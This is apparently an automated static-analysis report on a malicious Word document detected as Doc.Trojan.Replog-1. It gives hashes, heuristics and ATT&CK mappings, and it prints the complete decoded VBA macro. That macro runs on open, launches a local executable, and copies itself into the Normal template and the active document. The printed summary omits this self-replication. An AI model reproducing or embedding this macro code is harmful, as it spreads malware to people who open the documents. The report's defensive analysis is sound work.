Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 fc4d3a3d5dcb5aa3…

MALICIOUS

Office (OLE)

25.5 KB Created: 1999-06-16 13:03:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: cdea510ee8214a9aa0b22a77c8cc77d8 SHA-1: f6d9709c455679b527843a2d77f86cb659994f3c SHA-256: fc4d3a3d5dcb5aa3b00def5b6f2bdf143b3589a9f68e3588a52d36807ea96264
280 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File

The sample contains a VBA macro that executes upon opening the document. This macro uses the Shell() function to run a program located at 'I:\Eudora\Sys\Server.exe'. The macro also appends the current date to a log file at 'I:\Rep.log'. The presence of the Document_Open macro and the Shell() call strongly indicate a malicious intent to execute a secondary payload.

Heuristics 5

  • ClamAV: Doc.Trojan.Replog-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Replog-1
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 817 bytes
SHA-256: 221f267953fc693bd1ca2d2977131540ab0d1b98e2dd02ecec96bb58a46999fe
Detection
ClamAV: Doc.Trojan.Replog-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Private Sub Document_Open()
On Error Resume Next
Shell "I:\Eudora\Sys\Server.exe"
Set TD = ThisDocument.VBProject.VBComponents(1)
Set ad = ActiveDocument.VBProject.VBComponents(1)
Set nt = NormalTemplate.VBProject.VBComponents(1)
VCode = TD.CodeModule.Lines(1, TD.CodeModule.CountOfLines)
nt.CodeModule.DeleteLines 1, nt.CodeModule.CountOfLines
ad.CodeModule.DeleteLines 1, ad.CodeModule.CountOfLines
nt.CodeModule.InsertLines 1, VCode
ad.CodeModule.InsertLines 1, VCode

Open "I:\Rep.log" For Append As #1
Print #1, "Active on " & Date
Close
End Sub

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